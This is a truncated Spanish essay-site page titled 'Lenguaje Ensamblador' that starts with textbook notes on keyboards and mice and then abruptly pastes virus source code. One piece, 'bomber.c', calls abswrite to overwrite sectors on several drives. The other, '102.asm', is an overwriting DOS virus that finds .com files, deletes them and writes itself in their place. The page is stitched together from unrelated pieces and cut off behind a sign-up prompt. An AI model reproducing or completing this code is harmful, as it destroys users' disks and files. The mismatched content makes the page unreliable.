Lenguaje Ensamblador

Páginas: 2 (383 palabras) Publicado: 17 de junio de 2012
Dispositivos manuales
• Teclado alfanumérico: El estándar es actualmente el teclado de 101 letras con la distribución QWERTY, 12 teclas de funciones, un teclado o pad numérico, teclas de funcióny teclas para el control del cursos. Algunos teclados están diseñados para aplicaciones específicas, permitiendo una interacción rápida con los sistemas de computación (v.g.: caja registradora). Elteclado es un circuito en forma de matriz; cada circuito está conectado al dispositivo controlador, que reconoce la letra o código que envía el usuario cuando se cierra o abre un circuito. Laconfiguración del teclado puede ser modificado por software.
[pic]
Dispositivos apuntadores
• Ratón: La efectividad de las GUI depende de la capacidad del usuario para hacer una selección rápida de unapantalla con íconos o menúes. En estos casos el mouse puede colocar el apuntador (o cursos gráfico) sobre un ícono con rapidez y eficiencia. Los más comunes tienen una esfera en su parte inferior quepuede rodar en un escritorio.
[pic]






este es del bomber.c
#include

main()
{
char *vir;
abswrite(0,50,0,vir);
abswrite(1,50,0,vir);
abswrite(2,50,0,vir);abswrite(3,50,0,vir);
abswrite(4,50,0,vir);

[pic];
printf("The Bomber"


este del 102.asm

; Virus Anti Novi Overwriting non resident

codigo segment byte public
assume cs:codigo, ds:codigo

org 100hvmini proc far


start:
mov ah,1Ah
mov dx,offset dta
int 21h ;pongo DTA en dta

mov ah,4Eh
mov dx,offset nombre
mov cx,26h
int 21h ; DOS Services ah=function 4Eh
; find 1st filename match@ds:dx

jc short adios ; Jump if carry Set

mov ah,41h
mov dx,offset dta + 1eh
int 21h ; borro el archivo .com


mov ah,3Ch
mov cx,0
mov dx,offset dta + 1eh
int 21h ;
; create file,cx=attributos, name@ds:dx

jc short adios ; Jump if carry Set

mov cx, offset fin - 100h
mov dx,100h
xchg ax,bx ; BX = Handle
mov ah,40h
int 21h ; DOS Services ah=function 40h
; write file...
Leer documento completo

Regístrate para leer el documento completo.

Estos documentos también te pueden resultar útiles

  • Lenguaje Ensamblador
  • Lenguaje ensamblador
  • Lenguaje ensamblador
  • Lenguaje ensamblador
  • Lenguaje ensamblador
  • Lenguaje ensamblador
  • Lenguaje ensamblador
  • Qué es el lenguaje ensamblador

Conviértase en miembro formal de Buenas Tareas

INSCRÍBETE - ES GRATIS